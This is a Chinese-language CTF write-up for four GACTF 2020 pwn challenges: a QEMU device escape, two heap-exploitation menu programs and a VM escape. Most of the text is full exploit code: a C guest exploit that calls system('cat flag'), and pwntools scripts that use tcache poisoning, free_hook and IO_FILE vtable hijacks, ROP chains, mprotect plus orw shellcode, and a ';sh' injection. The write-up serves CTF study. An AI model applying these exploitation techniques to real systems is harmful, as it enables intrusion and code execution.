gactf2020

GACTF2020

babyqemu

漏洞分析

看下启动脚本,发现自定义了一个设备,应该洞就出在这里

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#!/bin/sh
./qemu-system-x86_64 \
-kernel /vmlinuz-4.8.0-52-generic \
-append "console=ttyS0 root=/dev/ram oops=panic panic=1 quiet" \
-initrd /rootfs.cpio \
-m 2G -nographic \
-L /pc-bios -smp 1 \
-device denc

逆一下找到mmio和pmio,发现有个带范围的地址读/写,调试一下发现0x20处有个elf的函数地址,借此可以得到proc_base进而得到system函数地址。

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unsigned __int64 __fastcall denc_mmio_read(__int64 a1, unsigned __int64 addr, int a3)
{
unsigned __int64 result; // rax

if ( a3 != 4 )
return -1LL;
result = addr & 3;
if ( addr & 3 )
return -1LL;
if ( addr <= 0x24 )
result = *(unsigned int *)(a1 + 0xB20 + 4 * (addr >> 2));
return result;
}
//
unsigned __int64 __fastcall denc_mmio_write(unsigned __int64 a1, unsigned __int64 addr, unsigned int val, int a4)
{
unsigned __int64 result; // rax

result = a1;
if ( a4 == 4 )
{
result = addr & 3;
if ( !(addr & 3) && addr <= 0x24 )
{
result = val ^ *(_DWORD *)(a1 + 0xAF8 + addr);
*(_DWORD *)(4 * (addr >> 2) + a1 + 0xB20) = result;
}
}
return result;
}
//
signed __int64 __fastcall denc_pmio_read(__int64 a1, unsigned __int64 a2, int a3)
{
if ( a3 != 4 || a2 & 3 )
return -1LL;
if ( a2 > 0x1F )
return 0LL;
return *(unsigned int *)(a1 + 0xB20 + 4 * (a2 >> 2));
}
//
unsigned __int64 __fastcall denc_pmio_write(unsigned __int64 a1, unsigned __int64 addr, unsigned int val, int a4)
{
unsigned __int64 result; // rax

result = a1;
if ( a4 == 4 )
{
result = addr & 3;
if ( !(addr & 3) && addr <= 7 )
{
result = val ^ *(_DWORD *)(a1 + 0xAF8 + 4 * addr);
*(_DWORD *)(4 * addr + a1 + 0xB20) = result;
}
}
return result;
}

因为好久没调试qemu的题了,这里还是写点备忘,调试的时候先写exp,gcc ./exp.c -static -o exp静态编译后拿find . | cpio -o --format=newc > ../rootfs.cpio打包到文件系统里,启动qemu后拿ps -aux | grep qemu看下进程号,sudo gdb attach -q [pid]跟进去,如果函数调用比较多可以先不attach,等到getchar执行时再跟。

mem

之后打算找个函数调用的位置,开始没找到,因为IDA的问题,之后查看system_ptr的引用,发现了mmio_read的一处隐藏后门,在输入地址是0x660和0x664时会leak出system_compat函数的libc地址,到这里其实也没什么用,毕竟我们已经有[email protected]了,但是这启发了我们去看汇编,终于最后在pmio_write里发现了另一处后门,当输入地址是0x660时触发调用刚才函数指针的位置。参数为偏移为0的地址内容。

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.text:00000000003AA14A                 cmp     [rbp+var_20], 660h
.text:00000000003AA152 jnz short locret_3AA17C
.text:00000000003AA154 mov rax, [rbp+var_10]
.text:00000000003AA158 mov rax, [rax+0B40h]
.text:00000000003AA15F mov rdx, [rbp+var_10]
.text:00000000003AA163 lea rcx, [rdx+0B20h]
.text:00000000003AA16A mov edx, 0
.text:00000000003AA16F mov esi, 0
.text:00000000003AA174 mov rdi, rcx
.text:00000000003AA177 call rax

qemu启动时会通过读取随机数到heap上,每次赋值前要和对应的随机数异或,因此先通过异或0让它们的值leak出,随后写入[email protected]以及cat flag字符串

exp.c

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#include <sys/io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/types.h>

unsigned char* mmio_mem;
uint32_t pmio_base=0xc000;

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint64_t addr,uint32_t value)
{
*((uint32_t *)(mmio_mem+addr)) = value;
}

uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t*)(mmio_mem+addr));
}

void pmio_write(uint32_t addr,uint32_t value)
{
outl(value,addr);
}

uint64_t pmio_read(uint64_t addr)
{
return (uint64_t)(inl(addr));
}

uint64_t pmio_abread(uint64_t offset)
{
//return the value of (addr >> 2)
pmio_write(pmio_base+0,offset);
return pmio_read(pmio_base+4);
}

void pmio_abwrite(uint64_t offset,uint64_t value)
{
pmio_write(pmio_base+0,offset);
pmio_write(pmio_base+4,value);
}

int main()
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);
if (iopl(3) !=0 )
die("I/O permission is not enough");
//pmio_abwrite(0x100,0x12345678);
//leak proc base
unsigned int proc_high = mmio_read(0x24);
printf("proc high 0x%x\n",proc_high);
unsigned int proc_low = mmio_read(0x20);
printf("proc low 0x%x\n",proc_low);
unsigned long long proc_base = ((proc_high * 0x100000000)+proc_low-3841704);
printf("proc base 0x%llx\n",proc_base);
unsigned long long system_addr = proc_base + 0x2ccb60;
printf("system addr 0x%llx\n",system_addr);
//leak rand1
mmio_write(0,0);
mmio_write(4,0);
mmio_write(8,0);
mmio_write(0x20,0);
mmio_write(0x24,0);
unsigned long long rand1 = ((uint32_t)(mmio_read(4))*0x100000000)+((uint32_t)mmio_read(0));
printf("rand1 val:0x%llx\n",rand1);
unsigned int tail = mmio_read(8);
printf("tail val:0x%x\n",tail);
//leak rand2

unsigned long long rand2 = ((uint32_t)mmio_read(0x24)*0x100000000)+((uint32_t)mmio_read(0x20));
printf("rand2 val:0x%llx\n",rand2);
//write command
mmio_write(0,0x20746163^(rand1&0xffffffff));
mmio_write(4,0x67616c66^(rand1>>32));
mmio_write(8,tail);
//write system
mmio_write(0x20,(system_addr&0xffffffff)^(rand2));
mmio_write(0x24,(system_addr>>32)^(rand2>>32));
pmio_write(pmio_base+0x660,1);
return 0;
}

踩坑

这里有个地方困扰我很久,在写入数据的时候只能写入0/0x20,而不能写入0x4/0x24。之后发现mmio_write函数写的有问题,把uint64_t改成32即可。

card

libc 2.31,典型的orw题目,这里记一下如何找好用的gadget以及orw的常规思路

程序逻辑

Add次数最多0x100次,读取的数据首先放到bss段,之后再strcpy拷贝到heap上。出题人可能只想到了strcpy造成的零字节截断,因而预期解是2.29下的off-by-null。实际上因为数据有残留,这里还可以造成off-by-one以及溢出。另外有个后门可以对chunk编辑三次。

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__int64 __fastcall get_input(__int64 a1, int sz)
{
__asm { endbr64 }
memset_0(&temp_data, 0LL, sz);
sub_1160();
return sub_1110(a1, &temp_data);
}
//
__int64 __usercall [email protected]<rax>(__int64 [email protected]<rdi>, __int64 [email protected]<rsi>, __int64 [email protected]<rbp>)
{
__int64 result; // rax
__int64 v4; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v4 = a3;
sub_1120();
if ( back_door_times == 3 )
{
sub_1120();
sub_11B0(0LL);
}
++back_door_times;
sub_1140("Index: ");
result = sub_143F((__int64)&v4);
if ( (unsigned int)result <= 0xFF )
{
result = qword_4460[(unsigned int)result];
if ( result )
{
sub_1120();
sub_1160(); // UAF
result = sub_1120();
}
}
return result;
}

漏洞利用

通过off-by-one构造overlapping,配合后门改fd到stdout泄露libc,注意bss的长度其实是有限的,如果数据过长会导致写到非法内存区而失败。此后的做法有两种,一种是free_hook+setcontext,2.31下的setcontext参数由rdx控制,因而需要寻找一些magic_gadget。这里寻找的方式是通过IDA将libc的asm导出到文件中,直接find相应的指令,比如这里我通过vscode搜索mov rdx, [rdi+,即可在libc中找到相关的汇编(这里大概有90条结果,挨个看下),筛选后得到一个好用的gadget如下。之后分配到free_hook改为magic_gadget并在后面布置frame,free(__free_hook)触发调用即可。

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//here
loc_1547A0:
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

另一种方式个人觉得实用性更好一点,首先将free_hook改为printf,通过栈上脏数据leak出返回地址位置,通过第三次的UAF改到返回地址处布置rop调用mprotect改栈区为可执行,并跳转到后面的shellcode orw读取flag。官方那边有第一种方式的exp,这里我贴下第二种。

exp.py

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#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./card')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug == 2:
libc = ELF('./libc.so.6')
p = process('./card',env={'LD_PRELOAD':'./libc.so.6'})
else:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process("./card")

def Add(size):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil("Size: ")
p.sendline(str(size))

def Edit(index,content,isEdit=True):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(index))
if isEdit:
p.recvuntil("Message:")
p.send(content)

def Delete(index):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(index))

def Backdoor(index,content):
p.recvuntil('Choice:')
p.sendline('5')
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Message:")
p.send(content)


def exp():
#leak libc
Add(0x18)#0
Add(0x80)#1
Add(0x90)#2
Add(0x30)#3
Add(0x3e0)#4
Add(0x20)#5
Add(0x90)#6
Add(0x90)#7
Add(0x90)#8
Add(0x20)#9
Edit(2,'a'*0x18+'\x61\x05')
Delete(0)

Add(0)
Edit(0,'a',False)

Delete(1)
Delete(6)
Delete(2)
Add(0x80)#1
Add(0x4b0)#2
if debug == 2:
Backdoor(2,'\xa0\x26')
else:
Backdoor(2,'\xa0\xa6')

Edit(5,'a'*0x18+'\x61\x05')
Delete(0)
Add(0)
Edit(0,'a',False)

Delete(1)
Add(0xa0)#1
Edit(1,'a'*0x88+'\xa1\x00')
Add(0x90)#6

Add(0x90)#10
Backdoor(10,p64(0xfbad1800)+p64(0)*3+'\x00')
p.recvn(10)
libc_base = u64(p.recvn(8)) - (0x7ffff7fb9980-0x7ffff7dce000)
log.success("libc base => " + hex(libc_base))
libc.address = libc_base
#
Delete(7)
Delete(6)
Edit(1,'a'*0x88+'b'*0x8+p64(libc.sym['__free_hook']))
for i in range(7):
Edit(1,'a'*0x88+'b'*(7-i))
Edit(1,'a'*0x88+'\xa1')

Add(0x90)#6
magic = libc_base + 0x1547A0
'''
loc_1547A0:
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]
'''

Add(0x90)#7

Edit(7,p64(libc.sym['printf']))

Edit(6,"%8$p")

Delete(6)
p.recvuntil("0x")
stack_addr = int(p.recvuntil("[+]",drop=True),16) - 0x20 + 8
log.success("stack addr => " + hex(stack_addr))
for i in range(6):
Edit(7,'a'*(5-i)+'\x00')

Delete(8)
Delete(2)

Edit(1,'a'*0x88+'b'*0x8+p64(stack_addr))

for i in range(7):
Edit(1,'a'*0x88+'b'*(7-i))
Edit(1,'a'*0x88+'\xa1')


Add(0x98)#6

gdb.attach(p,'b *0x0000555555554000+0x17bb')
Add(0x98)#8

p_rdi = libc_base + 0x0000000000026b72
p_rsi = libc_base + 0x0000000000027529
p_rax_rdx_r = libc_base + 0x00000000001626d5
syscall = libc_base + 0x0000000000066229

rops = flat([
p_rdi,stack_addr&0xfffffffff000,
p_rsi,0x1000,
p_rax_rdx_r,10,7,0,
syscall
])
payload = rops + p64(len(rops)+stack_addr+0x8)
sc = asm('''
mov rdi,qword ptr {0[0]}
xor esi,esi
xor edx,edx
mov eax,2
syscall
mov edi,eax
mov rsi,qword ptr {0[1]}
mov edx,0x30
xor eax,eax
syscall
mov edi,1
mov rsi,qword ptr {0[1]}
mov eax,1
syscall
'''.format([hex(stack_addr+0x90),hex(stack_addr+0x200)]))
payload += sc + './flag'
print hex(len(payload))
Backdoor(6,payload)


p.interactive()

exp()

student_manager

程序逻辑 && 漏洞利用

这是个cpp的程序,不过还是常规的菜单题,环境是18.04,有double free,hook会自动更新,因此用18.04的IO_FILE攻击。这里的数据结构有点难操作,只能写fd前四个字节,0x18处的8个字节以及0x20处的4个字节。

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00000000 node            struc ; (sizeof=0x28, mappedto_10)
00000000 score dq ?
00000008 field_8 dq ?
00000010 field_10 dq ?
00000018 name dq ?
00000020 id dq ?
00000028 node ends

先double free来leak处heap低四字节,劫持到tcache_perthread_struct的0x30处修改name上方的sz为0xb1,之前将count改为0xff,劫持到name这里释放从而leak出libc地址。

之后劫持tcache_bins[0x30]的值到_IO_2_1_stdout_的fp+0xe8,改为system,劫持fp+0xd8的vtable到_IO_str_jumps-0x28,最后add的时候使用一个shell注入语句触发system(“sh”)。之前的操作是把_IO_buf_end改成binsh的地址,这里直接在输入的时候触发调用,因为最后的fflush的参数就是输入缓冲区的地址。

exp.py

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#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./student_manager')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./student_manager')
else:
libc = ELF('./libc-2.27.so')
p = remote('f.buuoj.cn',20173)

def add(id1,score=0x21,name="a"):
p.sendlineafter('choice:','1')
p.sendlineafter("student's id:",str(id1))
p.sendlineafter("student's name:",name)
p.sendlineafter("student's score:",str(score))

def show(id1):
p.sendlineafter('choice:','2')
p.sendlineafter("student's id:",str(id1))

def delete(id1):
p.sendlineafter('choice:','3')
p.sendlineafter("student's id:",str(id1))

def exp():
#leak libc
add(0x0)
add(0x1)
add(2)
add(3)
add(4)
add(5)
add(6)
add(7)
add(28)
add(29)
add(30)
delete(0)
delete(1)
show(1)
p.recvuntil("score:")
heap_base = int(p.recvline().strip('\n')) - 0x13290
print hex(heap_base)
delete(1)

add(8,heap_base+0x18)
add(9)
add(10,0xffff)
#
delete(2)
delete(3)
delete(3)
add(11,heap_base+0x13298)
add(12)
add(13,0xb1)
delete(4)
delete(5)
delete(5)
add(14,heap_base+0x132a0)
add(15)
add(16)
delete(16)

show(0x61)
p.recvuntil("name:")
libc_base = u64(p.recvline().strip("\n").ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 96
log.success("libc base => " + hex(libc_base))
libc.address = libc_base
delete(6)
delete(6)
delete(7)
delete(7)
add(17,heap_base+0x40)
add(18)
add(19,0,p64(libc.sym['_IO_2_1_stdout_']+0xd0)[:-1])
add(20,0,p64(libc.sym['system'])[:-1])
#add(20,0,p64(libc.address+gadgets[0])[:-1])
#print hex(libc_base+gadgets[0])
#raw_input()
#

delete(28)
delete(28)
delete(29)
delete(29)

add(21,heap_base+0x40)

add(22)

fake_vtable = libc_base + (0x7ffff7a43360-0x7ffff765b000)
add(23,0,p64(libc_base+(0x7ffff7a47838-0x7ffff765b000))[:-1])
gdb.attach(p,'b free')
fake_vtable = (fake_vtable-0x28) & 0xffffffff
print hex(fake_vtable)
add(0,(fake_vtable-0x100000000),"';sh")

p.interactive()

exp()

babyvm

程序逻辑 & 漏洞分析

题目模拟了一个vm,开了seccomp只能orw。有几个函数指针,分别是read/write/puts/free。和以往的题目不同,这里开始的code是作者指定的,如果输入的数据比较短就直接结束了。这里先fuzz一下,1*0x200打过去发现了错误,查看输入数据(尽量多往后看一点),可以发现后面有个存储着code最后一次执行的地址,我们用第一次输出的机会leak出heap地址,改一下这个code地址,发现可以执行我们自己的代码,只有一次机会,这里先用0x90的指令把code地址改到堆上,然后就可以拿自定义指令做了。

先拿free把一个大堆块释放了,puts泄露出libc地址,通过修改v34[1]两次可以将free_hook改成setcontext+53,输入sigframe再调用free即可。

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case 0x90:
v24 = (_QWORD *)v34[3];
v34[3] = v24 - 1;
v34[5] = *v24; // 这里
break;

exp.py

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#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./vmpwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vmpwn')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)

def exp():
#leak libc
p.recvuntil("#tell me what is your name:")
payload = "1"*0xf0

p.send(payload)
p.recvuntil(payload)

heap_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 0x50
log.success("heap base => " + hex(heap_base))
p.recvuntil("ok,what do you want to say:")
gdb.attach(p,'b* 0x0000555555554000+0x15db')
code_addr = heap_base+0x2e80
payload = '\x8f'*0x100+p64(code_addr)
#leak libc
payload += p64(0x90)+p64(heap_base+0x40)
payload += chr(0x11)+p64(heap_base+0x50)
payload += chr(0x8f)+chr(3)
payload += chr(0x8f)+chr(2)
#orw
#target = heap_base+0x3068
target = heap_base+0x10
payload += chr(0x11)+p64(0)
payload += chr(0x62)+p64(-0x38,sign=True)
payload += chr(0x63)+p64(0x200)
payload += chr(0x8f)+chr(0x0)
payload += chr(0x8f)+chr(0)
payload += chr(0x12)+p64(heap_base+0x50)
payload += chr(0x8f)+chr(0)
payload += chr(0x11)+p64(heap_base+0x58)
payload += chr(0x8f)+chr(3)

payload = payload.ljust(0x300,'a')
p.send(payload)
p.recvuntil("Now,I recevie your message,bye~\n")
libc_base = u64(p.recvline().strip("\n").ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 88
libc.address = libc_base
log.success("libc base => " + hex(libc_base))
#orw get flag
p_rdi = libc_base + 0x0000000000021112
p_rsi = libc_base + 0x00000000000202f8
p_rdx = libc_base + 0x0000000000001b92
p_rax = libc_base + 0x000000000003a738
syscall = libc_base + 0x00000000000bc3f5
sigframe = SigreturnFrame()
sigframe.rdi = heap_base+0x50
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rax = 2
sigframe.rsp = heap_base+0x50+0x100
sigframe.rip = libc.sym['open']
rop = flat([
p_rdi,3,p_rsi,heap_base+0x500,p_rdx,0x30,p_rax,0,syscall,
p_rdi,1,p_rsi,heap_base+0x500,p_rdx,0x30,p_rax,1,syscall,
])
raw_input()
p.send(p64(libc.sym['__free_hook']))
raw_input()
p.send(p64(libc.sym['setcontext']+53))
payload = "./flag\x00\x00"
payload += str(sigframe)
payload += rop
raw_input()
p.send(payload)
p.interactive()

exp()
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